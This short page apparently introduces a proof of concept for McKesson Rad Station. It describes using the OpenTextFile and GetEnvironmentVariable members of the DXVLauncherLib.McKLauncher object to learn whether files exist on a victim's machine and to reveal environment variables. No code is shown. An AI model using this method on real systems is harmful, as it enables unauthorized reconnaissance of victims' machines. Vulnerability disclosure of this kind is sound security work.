<h1>McKesson Rad Station File Enumeration</h1>  
<p>This proof of concept will check if a file exists on the victim's machine or display the contents of an environmental variable. It uses the member OpenTextFile from DXVLauncherLib.McKLauncher and returns an object if the file exists and uses the member GetEnvironmentVariable to display the contents of the environmental variable.  
</p>
